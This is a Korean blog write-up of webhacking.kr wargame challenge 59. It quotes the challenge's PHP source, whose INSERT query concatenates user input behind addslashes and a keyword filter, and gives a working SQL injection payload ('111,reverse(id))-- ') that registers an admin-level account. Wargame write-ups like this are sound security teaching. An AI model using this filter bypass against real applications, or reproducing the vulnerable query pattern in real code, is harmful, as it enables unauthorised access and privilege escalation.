[webhacking.kr] 59번 문제 풀이[SQL Injection]

1 분 소요

💡 Webhacking.kr challenge(old) 59번 문제에 대한 풀이입니다.

문제

image

# 로그인 기능
if($_POST['lid'] && isset($_POST['lphone'])){
    $_POST['lid'] = addslashes($_POST['lid']);
    $_POST['lphone'] = addslashes($_POST['lphone']);
    $result = mysqli_fetch_array(mysqli_query($db,"select id,lv from chall59 where id='{$_POST['lid']}' and phone='{$_POST['lphone']}'"));

# 클리어 조건    
    if($result['id']){
      echo "id : {$result['id']}<br>lv : {$result['lv']}<br><br>";
      if($result['lv'] == "admin"){
      mysqli_query($db,"delete from chall59");
      solve(59);
    }
  }

# 회원가입 기능
  if($_POST['id'] && isset($_POST['phone'])){
    $_POST['id'] = addslashes($_POST['id']);
    $_POST['phone'] = addslashes($_POST['phone']);
    if(strlen($_POST['phone'])>=20) exit("Access Denied");
    if(preg_match("/admin/i",$_POST['id'])) exit("Access Denied");
    if(preg_match("/admin|0x|#|hex|char|ascii|ord|select/i",$_POST['phone'])) exit("Access Denied");
    mysqli_query($db,"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')");
  }

회원가입과 로그인기능을 이용해서 admin lv로 로그인을 하면 성공하는 문제입니다.

문제 풀이

회원가입 시에 사용되는 sql 구문입니다.

insert into chall59 values('{id}',{phone},'guest')

id, phone에 각각 적용되는 조건입니다.

  • id
    • addslashes()
    • admin 필터링
  • phone
    • addslashes()
    • 길이 < 20
    • admin / 0x / # / hex / char / ascii / ord / select 필터링


로그인 시에 사용되는 sql 구문입니다.

select id,lv from chall59 where id='{id}' and phone='{phone}'

id,phone에는 각각 addslashes가 적용되어 있습니다.

회원가입쪽 부분을 보면 집중적으로 필터링이 되어 있습니다. 그렇다면 필터링된 부분들을 우회해서 admin lv로 회원가입을 해야 풀릴 가능성이 높습니다.

기본적으로 addslashes 가 되어 있기 때문에, id 쪽에서는 db의 명령어를 수행하기가 어렵습니다. 그리고 phone쪽에는 addslashes때문에 db의 명령어를 수행할 때 문자열을 사용하기 어렵습니다. 그리고 필터링된 단어들은 모두 ascii 숫자들로부터 문자열을 생성(hex,char) 하거나 0x로 문자를 입력하는 것을 막고 있습니다.

위의 조건들은 id쪽에서 문자열을 입력하고, phone쪽에서 id쪽의 문자를 이용하는 방식으로 문제를 풀 수 있습니다.

다음과 같이 id에 문자열을 입력, phone에서 해당 문자를 db 함수를 이용하여 바꿔줌으로써 id lv 로 회원가입이 됩니다.

  • id : nimda

  • phone : 111,reverse(id))– // 맨 마지막에 공백 필요

해당 변수로 생성되는 쿼리문

sql insert into chall59 values('nimda',111,reverse(id))-- ,'guest')

이렇게 회원가입을 한다음 nimda, 111로 로그인 해주면 문제가 풀립니다.

회원가입

image

로그인

image

댓글남기기